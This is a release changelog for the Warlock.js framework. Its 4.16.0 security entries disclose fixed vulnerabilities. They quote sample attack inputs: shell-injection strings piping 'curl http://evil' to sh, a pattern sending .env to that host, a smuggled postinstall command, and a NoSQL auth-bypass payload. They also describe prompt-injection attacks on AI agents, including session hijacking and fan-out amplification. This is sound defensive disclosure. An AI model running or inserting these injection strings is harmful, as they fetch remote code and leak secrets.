@warlock.js/core Added 2 Changed 2 Removed 1

Added warlock add tailwind — installs and wires Tailwind CSS v4 through PostCSS.
Added warlock add shadcn — sets up the prerequisites shadcn/ui expects. It is _not_ a wrapper around the shadcn CLI: you still run that yourself to add components, this only makes the project ready for it.
Changed warlock dev prints one status block per run. The banner is printed exactly once, and the URL it prints is never a raw [::1] address. The single-boot guard behind this is new in this release — it was never present in any published version, so duplicate boots on 5.0.x were real, not a display artefact.
Changed warlock doctor now reports the same route count as warlock dev. The two walked routes differently and disagreed. doctor also emits zero warnings on a healthy project — so a warning now means something — and fails loudly on a route module that genuinely fails to load, instead of counting it as fine.
Removed A false comment that the warlock add web scaffold emitted in 5.0.0 through 5.0.2, claiming a page's route is derived from its file location. No such derivation has ever existed. The stub no longer emits it; apps already scaffolded on those versions still carry the comment in their own source and must delete it by hand.

create-warlock Added 2 Changed 2

Added The scaffold typechecks from a fresh install, and a CI gate keeps it that way. A newly created project previously could fail tsc on its own generated source.
Added A real home page, replacing the placeholder — it includes a counter whose working state is proof that hydration actually ran in the browser.
Changed src/typings.d.ts is now the sanctioned home for RequestLocals / RequestUser module augmentation. The file is generated with both augmentation blocks stubbed and commented, so there is one obvious place to declare per-request typed data.
Changed Replaced stale scaffold values that had been carried forward: the wow2 project name and the 4.15.0 dependency version no longer appear in generated projects.

5.0.2

2026-08-25

@warlock.js/web Fixed 1

Fixed <Head/> read an empty document context under SSR. The connector now sets ssr.noExternal: ["@warlock.js/web"] in web-connector.ts. Without it the server loaded two instances of this package — one externalised, one bundled — so the context the renderer wrote to was not the one <Head/> read from. A published 5.0.1 install that returned 500 on a page request returns 200 after this fix.

5.0.1

2026-08-25

@warlock.js/web Changed 1 Fixed 1

Changed Narrowed the vite peer dependency to ">=7.3.5 <8", so a consumer resolving vite for this package cannot land on a version outside the range it is built against.
Fixed Internal: a test in gate-b-secrets.spec.ts depended on the ambient NODE_ENV and failed depending on how the suite was invoked. No runtime behaviour changed.

create-warlock Fixed 1

Fixed The warlock binary was never linked in a yarn-1 scaffold. Installing the batched features under yarn 1 hit an _Invariant Violation_ in yarn's linker, which aborted the install before node_modules/.bin was written — leaving a scaffolded project whose own warlock command did not exist. App.pinViteResolution() now writes matching resolutions and overrides entries for vite into the generated package.json _before_ the batched feature install runs, so a single vite version is resolved and the linker completes.

5.0.0

2026-08-25

create-warlock Added 1 Changed 2

Added The project creator now offers the web feature for Warlock SSR pages.
Changed Scaffold command failures are captured and reported instead of allowing later success output to hide a failed dependency install, Git initialization, feature addition, or cache warm-up.
Changed Generated route handlers use the new request-context argument shape, and generated cache configuration honors CACHE_DRIVER.

@warlock.js/seal Changed 2

Changed IP validation no longer imports Node's net module, so the same IPv4 and IPv6 rules can run in browser bundles.
Changed Optional validators now skip value rules only for absent values; present empty values such as "" are validated instead of passing through with the wrong output type.

@warlock.js/web Added 1 Changed 1

Added SSR React pages with hydration, client navigation, route metadata, shared data, and Vite integration.
Changed The hydration runtime is packaged as its own public entry, and production/dev route wiring now resolves the packaged client manifest and stylesheets.

@warlock.js/ai Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-anthropic Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-bedrock Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-deepseek Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-google Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-groq Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-live Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-mistral Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-ollama Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-openai Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-panoptic Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-tools Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-workspace Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/ai-xai Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/auth Changed 1

Changed Authentication can now use an explicit header or named-cookie credential source and a configurable canAuthenticate policy; invalid credentials are distinguished from server and configuration failures instead of turning every verification error into a 401.

@warlock.js/cache Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/cascade Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/context Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/core Added 1

Added request.requireUser() — returns the authenticated user non-optionally, or throws UnAuthorizedError when no user is attached. For handlers behind an auth guard, where an absent user is a misconfigured route rather than a normal state; replaces request.user! assertions

@warlock.js/fs Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/herald Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/logger Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/notifications Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/scheduler Changed 1

Changed This package is unchanged in 5.0.0; its version moved only because the Warlock family releases in lockstep.

@warlock.js/access

4.16.0

August 18, 2026

Security release across the framework. A full security audit closed 10 release-blockers — shell RCE, NoSQL/operator injection, filesystem path traversal, SSRF, dashboard stored XSS, IP-spoofing, and mass-assignment IDOR — and hardened orchestrator session/tenant isolation, supervisor fan-out, default log redaction, and trustProxy handling across ai, cascade, core, cache, logger, herald, access, ai-workspace, ai-panoptic, notifications, seal, context, fs, and create-warlock. Also bumps @mongez/* to the 2026-08-17 security release (reinforcements 4 CSPRNG Random).

@warlock.js/ai Security 8

Security guardedFetch no longer lets the platform follow redirects past the SSRF guard. The outbound policy validated only the _initial_ URL, then handed the request to fetch with automatic redirect following — so a page an agent was asked to load (ai.rag's loadWeb(), the skills urlSource manifest fetch, prepareAttachmentPart's remote-text path) could pass validation and then 302 into http://169.254.169.254/... or an internal service with no re-check. Every hop is now issued with redirect: "manual" and its Location is re-run through the full assertUrlAllowed policy (scheme, host allowlist, post-DNS private-IP deny) before being followed, capped at the new OutboundPolicy.maxRedirects (default 5). Credential headers (authorization, cookie, proxy-authorization) are stripped when a hop crosses an origin boundary, and 303/legacy 301/302-on-non-GET hops re-issue as a bodyless GET, matching platform semantics. Callers passing redirect: "manual" get the raw 3xx back as before; redirect: "error" rejects on any redirect. Regression tests cover the metadata/loopback/private redirect block, the off-allowlist redirect block, the hop cap, and the clean-redirect follow
Security Supervisor fan-out now has a width bound — new maxFanOut option (default 10). A routing decision could name any number of intents (normalize() in src/supervisor/decide.ts validated only that each name was in the allowlist, with no length limit and no dedup), and dispatchBranches ran Promise.all over the lot. maxIterations bounded how DEEP a run went; nothing bounded how WIDE one iteration went. Since the router's per-turn prompt embeds supervisor state and prior branch outputs — both able to carry attacker text lifted from tool results — a prompt injection ("always return next as this 200-element array") turned one iteration into hundreds of real agent/workflow executions, i.e. cost/compute amplification, without ever naming an intent outside the allowlist. Duplicate names are now collapsed silently (they were pure wasted spend: branch results are indexed by intent, so the extras could never change the outcome), and a _deduped_ list wider than maxFanOut is rejected as SupervisorRoutingError (SUPERVISOR_INVALID_ROUTE) carrying the offending array — the same failure mode as an unknown intent key. Truncating instead of throwing was rejected: it would hand an attacker-chosen subset to the executor and hide the anomaly. The cap is enforced both in normalize() and at dispatchBranches, the one chokepoint every dispatch source funnels through, so evaluate.reassignTo, classifier picks, and per-intent next unions are bounded too. Raise maxFanOut deliberately for supervisors that legitimately fan wide (e.g. ai.fanOut(writer, 20)); it's validated as an integer >= 1 at construction
Security Supervisor state merges refuse prototype-tampering keys. All five state-merge sites in src/supervisor/execution.ts (branch outputs, the ack slice, classifier output, the classifier refine slice, and the artifacts merge in both its finalizeArtifacts and auto-spread forms) did a bare state[key] = value over model-influenced data. The output schema that validates those slices belongs to the developer, and a permissive one (z.record(), .passthrough(), z.any()) passes a key literally named __proto__ straight through — assigning it repoints the run state object's prototype. Blast radius was contained (one per-run object, not global Object.prototype), but it became genuine prototype pollution the moment anything downstream used in, hasOwnProperty, or a deep merge on state — and finalizeArtifacts's key-removal pass already used key in merged. A shared mergeSafely / assignSafeKey / isUnsafeMergeKey guard (new src/security/safe-merge.ts, exported from the package's security barrel) now drops __proto__ / constructor / prototype at every one of those sites and logs the refusal as state.merge.unsafe-key; that key in merged check is now Object.hasOwn. Dropping rather than throwing is deliberate — those keys are never legitimate state fields, and mid-iteration is the wrong place to fail a settled run
Security orchestrator.asTool({ sessionScope: "shared" }) no longer lets the calling model choose which session it joins. The wrapper read sessionId (and history) straight out of the _validated tool-call payload_ — i.e. out of arguments the outer agent's LLM wrote — and handed them to orchestrator.execute(), which loads that session's checkpoint, merges its persisted state, runs a turn against it and writes a fresh checkpoint back. The JSDoc actively instructed developers to thread the session id through inputSchema. A sessionId is bearer-equivalent to full read/write on the session, so any prompt injection reaching the outer agent (a summarized document, a poisoned tool result, a fetched page) could say "continue session <victim-id>" and have the nested orchestrator splice an attacker-directed turn into a stranger's live conversation and return its content — including prior state — into the outer transcript. The target session is now bound OUTSIDE the model-visible schema, via the new OrchestratorAsToolOptions.session: either a literal id fixed at asTool() construction, or a (ctx) => sessionId | { sessionId, history } resolver reading the invocation's ToolContext (the same out-of-band channel signal / artifacts already travel on, which an LLM cannot write to). sessionId / history are stripped from the payload before it is forwarded as execute(input), and a resolver that returns nothing fails the call rather than falling back to the payload. Breaking for "shared" scope only: building such a tool without session now throws at construction. The pre-4.15.0 behavior is still reachable behind unsafeAllowModelSessionId: true, documented at the API surface as bearer-token-equivalent access that obliges the developer to verify session ownership themselves. "fresh" scope (the default) is unchanged
Security Orchestrator/agent memory is session-scoped by default — recall can no longer surface another user's remembered turns. OrchestratorConfig.memory is resolved once per orchestrator instance and reused by every execute() / resume() regardless of sessionId, and neither MemoryItem, RecallOptions, MemoryContract nor the four tier implementations carried any session/tenant key — so recall() could not be scoped to the calling session and remember (ON by default) wrote every clean turn's input + outcome text into one shared namespace. In the framework's own documented integration pattern (one ai.memory() built at boot, passed to ai.orchestrator({ memory }), serving all end users) user A's remembered text was recallable by user B's semantically similar turn, with no attacker action required. MemoryItem.scope and RecallOptions.scope are new opaque isolation keys, enforced inside each tier as an exact-equality match before hits are scored, merged or sliced — never left to the caller — and folded into the stored key so two scopes writing identical text stay two entries (including the procedural tier's uses reinforcement counter). All four tiers enforce it: working, semantic, episodic, procedural. An unscoped recall() reads only the unscoped pool; there is no wildcard query. The orchestrator derives the scope from the execute-time sessionId ("session:<id>") — not from the payload, the context bag, or the model — via the new OrchestratorMemoryConfig.scope, which defaults to "session". Behavior change: memories seeded or written before the upgrade are unscoped and are no longer recalled by a session-scoped turn. Cross-session pooling is now an explicit opt-in — scope: "shared" restores the pre-4.15.0 single-pool behavior (and keeps reading pre-upgrade entries); scope: (sessionId) => key derives a custom boundary, e.g. per tenant. The vector tiers overscan before filtering so a noisy neighbouring scope cannot starve a scoped recall of its top-k
Security The working-memory tier is size-bounded — new working: { maxItems } (default 1000). WorkingMemory backed its buffer with a plain Map that grew by one entry per unique remember() and had no cap, TTL or eviction of any kind. It is also the one tier that keeps everything it is told in _process_ memory, for the lifetime of the memory() instance — which ai.orchestrator({ memory }) resolves ONCE and reuses for every session, for as long as the process runs. Since distinct text derives a distinct id nothing dedups, so an attacker able to drive turns through a memory-backed orchestrator (with remember on by default) added a permanent entry per request until the process ran out of memory: a cheap memory-exhaustion DoS against any internet-facing deployment. The buffer now evicts on overflow. Policy is FIFO over insertion order, not LRU, and deliberately so: recall on this tier is a pure recency proxy (it reverses insertion order and slices the newest k, never reordering), so the front of the buffer is by construction the region recall reaches last — FIFO evicts exactly the entries a bounded recall would never have returned, while true LRU would need read-time reordering that would also rewrite the score every recall reports. Re-remembering an existing id still updates in place and keeps its slot. maxItems is validated as an integer >= 1 at construction and has no unbounded setting — "no cap" is the vulnerability, not a configuration choice; raise it deliberately for a long-lived single-tenant process, and put durable recall in the semantic / episodic tiers, which delegate retention to a CacheDriver. Known and documented limitation: the bound is global rather than per-scope, so a busy session can push another's older entries out — a recall-quality degradation on a volatile scratch tier, never a disclosure (the scope filter still applies), and a per-scope quota would not help against an attacker holding many sessions anyway
Security semanticCache() is per-session-scoped by default — one caller's cached answer is no longer served to another. The middleware is built once at app boot and shared by every end user, its namespace was a static string, and a hit is returned as a synthetic ModelResponse with no LLM call in between — so both lookup paths (the exact prompt-hash key and the vector similar() match) could serve user A's cached response, personal context and all, to user B's merely _similar_ prompt, and let an attacker seed an entry engineered to sit near a predictable class of future queries and have it answered from the store thereafter. Entries now carry a scope derived from the run's own AgentExecuteOptions.sessionId ("session:<id>", the same derivation the memory fix uses) — read out of the execute options, never out of the prompt or the model's output — folded into the stored key (hashed, since a sessionId is caller-supplied and may contain the key delimiter) _and_ re-checked as exact equality on the stored entry, so key-level separation is never the thing authorizing a read. The vector path overscans before filtering, mirroring the memory tiers, so a noisy foreign session cannot occupy the top-k and mask a caller's own hit. New SemanticCacheOptions.scope: "session" (default), "shared" (one pool for every caller — the explicit opt-in for genuinely public Q&A, and the pre-4.15.0 behavior), or (context) => key for a custom boundary such as per-tenant. Two behavior changes to expect: entries written before the upgrade are unscoped and are only read by unscoped runs, and scoping trades cross-user hit rate for isolation — a public FAQ deployment where no response can carry a caller's private context should now set scope: "shared" on purpose. Runs made _without_ a sessionId continue to share one unscoped pool (unchanged behavior for them); thread sessionId through execute() — composites already do — to get the isolation
Security The planner's plan schema rejects an over-long plan at parse time. Strict-mode JSON Schema cannot express maxItems, so maxSteps was never on the wire (plan-schema.ts discarded the parameter outright with void maxSteps) and the only enforcement was PlannerRun's tail truncation — which runs _after_ the whole steps[] array has been parsed, normalized into PlannerStep[] and stored on this.plan. A provider or proxy that ignores the prompt's step budget could therefore make the planner deserialize an arbitrarily long array before anything trimmed it. validate() now enforces a hard ceiling of maxSteps * 4 (or 100 when planSchema is built without a maxSteps), rejecting rather than truncating: a plan several times its budget is a malfunction worth surfacing as the typed PlannerPlanInvalidError, not a prefix worth silently executing. The slack factor keeps the normal case — a model overshooting "at most N steps" slightly, which the runtime still truncates to skipped — working exactly as before

@warlock.js/cascade Security 8

Security NoSQL operator injection via equality filters is now rejected. where({ field: value }), where(field, value) and the filter-accepting model statics (first, findFirst, findAll, count, paginate, deleteMany, deleteOne, …) treated the value verbatim, so a request-controlled payload such as { password: { $ne: null } } compiled into a MongoDB *operator* query instead of an equality match — the textbook auth-bypass primitive (User.first({ email, password }) matched any user). Equality-position values (and top-level object-form keys) containing $-prefixed keys now throw UnsafeFilterError. Explicit operator APIs are unaffected: where(field, operator, value), whereIn/whereNull/whereBetween/…, and the object form of whereRaw. Dotted paths ("profile.name") and plain sub-document equality values remain valid. A sanitizeFilter / sanitizeFilterValue helper pair is exported for callers who forward request objects to other driver-level APIs
Security String-mode whereRaw() / orWhereRaw() no longer compiles to $where on the MongoDB driver. Any string expression was wrapped as { $where: "<js>" } — JavaScript executed *inside* mongod for every scanned document (an injection sink whenever any part of the string was request-influenced, and an unindexed full-scan DoS even when trusted), with ?-bindings substituted by string concatenation rather than real parameterization. The MongoDB parser now throws UnsafeRawExpressionError for string expressions and directs callers to the object form (whereRaw({ $expr: … })), which keeps working. SQL drivers keep string mode with real bindings
Security static hidden — fields toJSON() can never emit. With no resource/toJsonColumns configured (the quick-start model shape), toJSON() — invoked implicitly by JSON.stringify(model) / res.json(model) — returned the entire raw document, password hashes and tokens included. Models can now declare static hidden = ["password", …]; those top-level fields are ALWAYS stripped from toJSON() output — with the raw-document default, with toJsonColumns (hidden wins), and from the data handed to a resource class. Defaults to [], so nothing changes until a model declares hidden fields — but because that default still fails open, cascade now logs a one-time console.warn per model whose schema declares a credential-shaped field (password/passwordHash/secret/token/apiKey/api_key, case-insensitive) that no hidden/resource/toJsonColumns covers
Security Atomic/find-and-modify statics now sanitize their filter. atomic(), findAndUpdate(), findOneAndUpdate(), findAndReplace() and findOneAndDelete() forwarded their filter object straight to the driver — bypassing where() and therefore the operator-injection check above, so { role: { $ne: "admin" } } from a request body was still a live operator query on these paths. The filter argument now runs through sanitizeFilter and throws UnsafeFilterError on $-prefixed keys. Update-operator semantics ($set/$inc/$unset/…) are untouched — only the FILTER is checked. Callers who legitimately need operator conditions must express them through the query API (Model.query().where(…)) instead of the raw filter argument
Security Residual injection paths closed. The three-argument equality form where(field, "=", value) now sanitizes its value like the two-argument form (other operators are unaffected), and the object form of whereRaw()/orWhereRaw() rejects the server-side JavaScript operators $where, $function and $accumulator anywhere in the expression (throws UnsafeRawExpressionError); $expr and the other aggregation operators keep working
Security A merge()d primary key can no longer retarget a write at another document. performUpdate() built its filter from model.get(primaryKey) *after* merge() had run, so the canonical update-my-profile shape — model.merge(req.body); await model.save() — let a body carrying { id: "<victim-id>", role: "admin" } redirect the UPDATE (and the mass-assigned fields with it) onto somebody else's row. Two independent controls now stand between a payload and the write target: (1) an instance captures its primary key at the moment it becomes persisted (isNew flipping to false — hydration, or the writer after an insert), and update/replace/destroy build their filter from that captured value, exposed as model.trustedPrimaryKey; (2) merge() on an already-persisted model drops the identity columns (id, _id, and the configured primary key) instead of applying them — which also covers save({ merge }). Identity columns are additionally excluded from the update's $set/$unset, so an explicit set("id", …) on a loaded record no longer rewrites the key of the row it is pinned to (_id was never writable in MongoDB anyway); changing a primary key is now a deliberate operation through the atomic/raw APIs. Creating a record with an explicit id is unchanged — a new model accepts identity columns — and the writer still merges driver-returned values (generated _id, RETURNING *) back onto the instance through a framework-internal path that request data never reaches
Security whereLike / whereSearch string arguments are matched literally instead of compiled as regexes. whereLike, whereNotLike, whereStartsWith/whereEndsWith (and their Not variants) and the $regex form of whereSearch interpolated their argument straight into a MongoDB $regex. Wired to a search box — User.query().whereSearch("name", req.query.q), the intended use — that handed the caller the regex engine running inside mongod: metacharacters rewrote the match semantics (^.*$ matches everything, ^a/^b probes read a value back character by character), and a nested-quantifier pattern such as (a+)+$ backtracked catastrophically against every scanned document. String arguments are now escaped and treated as literals; the SQL LIKE wildcard % still expands (to .*, with runs of % collapsed) and matching stays unanchored/substring as this driver documents. An explicit RegExp argument — which cannot arrive as JSON — is still used as a pattern, so raw regex remains available to developer-authored queries; never build that RegExp from user input. escapeRegex / likePatternToRegexSource are exported for callers compiling their own patterns. The Postgres path was already parameterized (ILIKE $1) and is unchanged
Security **@mongez/* dependencies bumped to the 2026-08-17 security release**: @mongez/reinforcements ^3.3.0 → ^4.0.1, @mongez/dotenv ^1.3.1 → ^1.3.2, @mongez/events ^2.2.6 → ^2.2.7, @mongez/supportive-is ^2.1.3 → ^2.1.4. Reinforcements 4 adds a prototype-pollution guard to set/merge/pick/defaults — the utilities behind model.set() / model.merge(), i.e. exactly where request-shaped data enters a model — and a ReDoS fix in repeatsOf. Its breaking change (Random is CSPRNG-backed and no longer honors Random.seed()) does not affect cascade: the package imports no Random API and seeds nothing. Requires Node 20+, which cascade already targets

@warlock.js/core Security 2 Dependencies 3

Security request.detectIp() no longer trusts X-Real-IP / X-Forwarded-For unless http.trustProxy is set. Both headers are client-settable, and detectIp() honoured them unconditionally — bypassing the trustProxy opt-in the Fastify server itself is configured with. Any client could therefore spoof its IP to everything keyed on detectIp(): ipFilter allowlists/denylists, the default rate-limit bucket key, and anonymous idempotency scoping. Without the opt-in, detectIp() (and its realIp alias) now returns baseRequest.ip — the socket peer address, which cannot be forged
Security http.trustProxy now accepts a hop count or a trusted-proxy list, and detectIp() honours them. true is the wrong shape for the common topology: an edge that _appends_ to X-Forwarded-For leaves whatever the client prepended as the leftmost entry, so "trust the leftmost hop" hands the client its own IP back. The config value is passed to Fastify untouched, and detectIp() now reads the resolved client off request.ip instead of re-parsing the header — so both agree, and every Fastify shape works:
Dependencies Bumped @mongez/* deps to their 2026-08-17 security release specs: concat-route ^1.2.0, config ^1.2.1, dotenv ^1.3.2, events ^2.2.7, http ^3.5.0, localization ^3.4.7, reinforcements ^4.0.1, supportive-is ^2.1.4
Dependencies ⚠ @mongez/reinforcements 4.0.1 is a major bump: Random is now CSPRNG-backed (WebCrypto) and Random.seed() was removed — seeded/reproducible Random.string/nanoid/id/token/uuid calls now throw. Audited core's Random.string(...) call sites (use-case.ts, http/request.ts, dev-server/files-watcher.ts, http/uploaded-file.ts) and its test suite: none rely on seeding or reproducible output, so no code changes were required
Dependencies @mongez/encryption 2.0.1 (async encrypt/decrypt, throws on failure) does not apply to this package — core is not a consumer; src/encryption/encrypt.ts uses Node's built-in crypto module directly and is unaffected

@warlock.js/web Added 7 Fixed 3

Added SSR React pages served by the Warlock HTTP server. A page route is an ordinary Warlock route whose handler renders React instead of returning JSON.
Added Hydration, and client-side navigation via <Link> — no document reload, Back and Forward included.
Added React Fast Refresh in warlock dev, including a server render that reflects the edit rather than the pre-edit module.
Added Named links: href(name, params, query) validates the published route table at runtime; an unknown route name throws.
Added revalidate() — re-run the current route's loaders after a mutation.
Added MRR's navigation API mirrored by name (navigateTo, navigateBack, currentRoute, queryString, …) without depending on that package.
Added warlock add web scaffolds src/web/ and registers the connector.
Fixed metadata() no longer runs when a loader rejected. It used to be called with data: undefined while the type promised otherwise, so a metadata function reading its data threw a TypeError that replaced the loader's real error and pointed at the wrong file.
Fixed Validation reads the same query the loader reads. Stage 4 took query and params from a hand-parsed URL while body and headers came from the request — so ?tags=a&tags=b reached validation as "b", and a rule on filter.status never fired because validation saw a key literally named filter[status].
Fixed href() emits the query grammar core actually parses; nested objects and arrays are no longer destroyed by String(value).

@warlock.js/cache Security 6 Dependencies 1

Security File driver path traversal (Critical): cache keys were mapped to on-disk paths with path.resolve(directory, key) and no sanitization, so a key containing ../ (reachable through set/get/remove/removeNamespace, including keys derived from user input via cached() auto-keys) escaped the cache directory and allowed arbitrary file read, write, and recursive delete. The file driver now percent-encodes %, /, and \ when mapping a key to its directory (each key becomes exactly one contained directory component; the logical .-delimited namespace scheme is unchanged) and additionally asserts the resolved path stays inside the cache root, throwing CacheError otherwise. Memory/redis/pg key semantics are unaffected.
Security Redis removeNamespace now escapes glob metacharacters (*, ?, [, \) before building its KEYS pattern, so a namespace carrying untrusted input can no longer widen the match and delete keys outside its own prefix.
Security Removed the raw console.log(value) dump of the full cached payload when structuredClone fails in parseCachedData — cached values (potentially PII/tokens) no longer leak to stdout; the structured error log with the value's type is kept.
Security Credential leak via error logging (Medium): logError() and the Redis driver's connect() failure path printed the raw Error object straight to stdout (console.log) or to log.fatal, which could include the connection URL — and password — that some Redis/Node client errors echo back in error.message/cause on connection failure. Both call sites now go through a new safeErrorInfo() helper that logs only a redacted { message, code } shape (never the raw error object), with any scheme://user:pass@ credentials in the message masked to scheme://[REDACTED]@. The bare console.log(error)/console.log("Err", error) calls are gone entirely.
Security Redis removeNamespace blocking KEYS scan (Medium): replaced the blocking KEYS command with a non-blocking SCAN cursor loop (client.scanIterator), so clearing a namespace on a large keyspace no longer stalls the single-threaded Redis event loop for every other tenant/consumer. The existing glob-escaping fix (above) is unchanged.
Security File driver removeNamespace dotted-key gap (Medium): dotted keys (ns.a) are stored as *sibling* directories under the cache root (see the path-traversal fix above), so removing namespace ns — which only ever deleted a directory literally named ns — silently left every ns.* key on disk. removeNamespace now lists the cache root's immediate children, decodes each back to its logical key, and removes every directory whose logical key equals the namespace or starts with <namespace>., matching the boundary semantics the pg driver already used for the same contract. Honors globalPrefix (previously ignored, so a global flush could wipe the whole cache root instead of scoping to the tenant) and preserves the existing path-containment guard.
Dependencies Bumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support; audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*, no hits, so no code changes were needed.

@warlock.js/ai-workspace Security 4

Security Fixed a critical command-injection bypass of the shell allowlist. Commands were spawned with shell: true while the allow/deny gate inspected only the leading executable token, so a command like npm test; curl http://evil | sh (or any &&, |, backtick, $(), or redirection chain) passed the gate and the shell executed the injected suffix — a prompt-injected agent could run arbitrary programs past a fail-closed allowlist. Commands are now tokenized into an argv with no shell semantics (quotes respected; unquoted metacharacters ; & | < > ` ` $ ( ) and newlines are rejected outright, by both isCommandAllowed and the local backend) and spawned with shell: false. On Windows, the argv runs through a cmd.exe /d /s /c wrapper with every element individually quoted (batch shims like npm.cmd cannot be spawned shell-less); arguments containing ", %`, or newlines are refused there rather than risked (BatBadBut-class smuggling).
Security Fixed run_tests pattern injection. The model-controlled pattern was concatenated verbatim into the shelled test command, giving a second, direct injection path ({ pattern: "; curl http://evil -d @.env #" }). The pattern is now forwarded as a single double-quoted token — one literal argv element to the runner — and patterns containing double quotes or newlines are rejected at input validation.
Security Behavior note: shell conveniences (pipes, redirection, chaining, variable expansion) no longer work in run_shell/exec — commands run one argv at a time. Quoted metacharacters remain plain argument data.
Security Fixed a ReDoS / event-loop DoS in grep. Ops.grep compiled a model-controlled pattern into a RegExp with no length cap and ran it synchronously, per line, over every scanned file — a pattern like (a+)+$ against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration. grep now rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic ((x+)+, (x*)*, (x+)*, (x*)+-shaped groups) as a new WorkspacePolicyError (type: "unsafe-pattern") before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.

@warlock.js/herald Security 3 Dependencies 1

Security Poison-message DoS: an EventConsumer.handle() that reliably throws was nack+requeued forever, with no retry cap and no dead-letter escape hatch — a single bad message could pin a consumer in a hot ack/nack loop indefinitely, starving every other message behind it (worse with low prefetch). prepareConsumerSubscription's catch now calls the channel's bounded ctx.retry() instead of an unconditional ctx.nack(true), so redelivery is capped and the message is dead-lettered (if configured) or dropped with a loud log.error once the cap is hit — never silently, and never forever
Security Fixed the retry counter never advancing on the automatic (non-explicit) nack path (RabbitMQChannel.subscribe's catch, used by any direct channel.subscribe(handler, { retry, deadLetter }) caller whose handler throws instead of calling ctx.retry() itself). It read x-retry-count from the *original* message's headers and then plain-nack(msg, false, true)'d — which redelivers that same original message, so the header a developer's retry.maxRetries/deadLetter depended on never changed and the configured cap was silently never reached. Both the automatic path and the explicit ctx.retry() path now share one bounded-retry routine that republishes with an incremented header, so maxRetries/deadLetter are honored regardless of which path a handler takes
Security Broker credentials no longer leak into thrown/logged connection errors. username/password are now URI-encoded when building the amqp:// URL (a reserved character like @/:// in a generated secret previously produced a malformed URL whose parser error echoed the raw credential back), and any error surfaced from connect() — including one that embeds a caller-supplied uri with credentials — has user:pass@ redacted before it's re-thrown, so a connection failure can no longer put a plaintext broker password in front of console.error/structured logging/an error tracker
Dependencies Bumped @mongez/events to ^2.2.7 (no breaking changes) and @mongez/reinforcements to ^4.0.1. The reinforcements major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support — audited this package's source and tests for Random.seed( and for seeded/reproducible use of Random.*; none found, so no code changes were needed.

@warlock.js/logger Fixed 2 Security 1 Dependencies 1

Fixed Cloning a log entry for redaction no longer discards an Error's own enumerable properties. Previously, configuring redact at all silently reduced every logged Error to message / stack / name — dropping .code and friends as an unadvertised side effect, and putting .config.headers.authorization permanently out of reach of any path pattern. Those properties are now carried through the clone (and censored by the key denylist above). An Error subclass whose constructor takes a non-string argument also keeps its message instead of being rebuilt as an empty one.
Fixed The redaction clone no longer expands buffers, typed arrays, Map, Set, Promise, or RegExp into plain objects — matching what the code already documented. A Buffer in context had been rebuilt as a multi-thousand-key index map.
Security Secrets are now redacted by default. This is a behavior change — logs that previously showed these values in cleartext will now show [REDACTED]. Redaction used to be a *tool* (redact.paths, entirely opt-in): unless an application configured it, a password in context, an authorization header, or an apiKey on a logged Error reached every sink — console, log file, JSON log file, Sentry — verbatim. Protection existed only where every call site had been configured correctly, with no signal when one hadn't. It is now a *default*.
Dependencies Bumped @mongez/reinforcements to ^4.0.1. The major makes Random.string/nanoid/id/token/uuid CSPRNG-backed (WebCrypto) and removes Random.seed() support. This package uses Random.string(32) only for the non-security logger-<id> instance identifier; audited for Random.seed( with no hits, so no code changes were needed.

create-warlock Security 1 Dependencies 3

Security --pm is now validated against an allow-list (npm/yarn/pnpm/bun) before it reaches anything. Previously an arbitrary --pm string flowed straight into spawn() as the executable to run _and_ was spliced verbatim into the generated package.json's script text before that text is parsed as JSON — a crafted value (e.g. --pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#') could inject a postinstall script that the scaffolder's own automatic install() step would then execute, or invoke an arbitrary binary on PATH outright. --yes/non-interactive scaffolds now reject any --pm outside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text).
Dependencies Bumped @mongez/reinforcements to ^4.0.1 (package dependency + project template). This is a major bump: Random.string/nanoid/id/token/uuid are now CSPRNG-backed (WebCrypto) and no longer honor Random.seed(), and throw without WebCrypto available. Audited create-warlock's own source and the templates/warlock scaffold for Random.seed/Random.* usage — none found, no code changes required.
